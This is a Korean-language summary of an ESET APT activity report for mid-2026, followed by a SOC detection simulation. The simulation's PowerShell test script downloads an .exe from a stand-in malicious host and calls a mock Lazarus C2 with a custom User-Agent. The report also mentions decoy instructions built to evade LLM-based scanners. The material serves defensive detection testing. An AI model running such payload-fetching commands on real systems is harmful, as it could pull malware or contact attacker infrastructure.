ESET APT 활동 보고서 2026년 2분기–3분기: 주요 캠페인과 트렌드

요약

이 보고서는 2026년 4월부터 9월 사이에 관찰된 다양한 APT 활동을 설명합니다. 주요 동향으로는 정부 및 반도체 조직을 대상으로 하는 중국 정렬 그룹, OilRig와 같은 이란 정렬 행위자의 활동 재개, 그리고 기술 및 암호화폐에 중점을 둔 북한의 캠페인이 포함됩니다. 또한 우크라이나의 목표를 특히 대상으로 하는 러시아 정렬과 벨라루스 정렬 그룹 간의 운용 조정 증가가 보고합니다.

조사

ESET 연구원들은 다양한 지역에 걸친 여러 위협 행위자 클러스터를 추적하기 위해 텔레메트리를 분석했습니다. 이번 조사는 새로운 악성코드 패밀리를 식별하고, 소프트웨어 공급망의 손상 여부를 검토하며, 적대자의 워크플로우에 AI 도구의 채택을 감시하는 것이 포함되었습니다. 연구원들은 또한 인프라, 도구 개발, 타깃 행위의 변화에 대한 패턴을 분석했습니다.

완화

조직은 소프트웨어 공급망 보안을 강화하고 채용 테마의 사회공학 캠페인을 모니터링해야 합니다. MDaemon 메일 서버를 착취로부터 보호하고 Android 기기를 가장 기반 스파이웨어로부터 보호하는 것도 중요합니다. 보안 팀은 또한 의심스러운 스크립트 및 페이로드를 분석할 때 AI 생성 난독화 기술을 고려해야 합니다.

응답

의심스러운 활동이 감지되면 조직은 스크립트, 저장소 및 영향을 받은 소프트웨어에 대한 상세한 포렌식 분석을 수행해야 합니다. 사고 대응자는 LLM 기반 스캐너를 회피하기 위해 설계된 미끼 지시 사항을 포함하는 AI 기반 난독화 기술을 고려해야 합니다. 공급망 손상 가능성은 즉시 격리하고 조사하여 추가적인 자격 증명 절도와 무단 접근을 방지해야 합니다.

시뮬레이션 실행

• 공격 내러티브 및 명령: 시뮬레이션된 공격자는 SOC가 특정 하드코딩된 문자열을 탐지할 수 있는지 테스트하기 위해 Turla 및 라자루스 그룹의 알려진 지표를 모방하려고 합니다. 먼저 공격자는 ‘Turla’s VBScript Rezzuar’라는 특정 문자열이 포함된 URL에 접근을 시도하여 Turla 스타일의 페이로드 요청을 시뮬레이션합니다. 두번째로, 공격자는 매우 맞춤화된 User-Agent 문자열: ‘Lazarus Group Recruitment’를 사용하여 HTTP 요청을 전송하여 라자루스 그룹의 채용 테마 피싱 콜백을 시뮬레이션합니다. 이는 C2 또는 특수한 피싱 랜딩 페이지와 통신하는 감염된 시스템의 동작을 모방합니다.

• 회귀 테스트 스크립트:

  # Turla TTP 시뮬레이션 (URL 매칭)
  Write-Host "[+] Turla URL 지표 시뮬레이션 중..."
  Invoke-WebRequest -Uri "http://malicious-site.com/downloads/Turla's VBScript Rezzuar.exe" -UserAgent "Mozilla/5.0"
  
  # 라자루스 TTP 시뮬레이션 (User-Agent 매칭)
  Write-Host "[+] Lazarus User-Agent 지표 시뮬레이션 중..."
  Invoke-WebRequest -Uri "http://lazarus-c2.net/login" -UserAgent "Lazarus Group Recruitment"

• 정리 명령:

  # 메모리 전용 웹 요청을 사용하여 시뮬레이션이 지속적인 아티팩트를 생성하지 않습니다.
  Write-Host "[+] 시뮬레이션 완료. 정리가 필요하지 않습니다."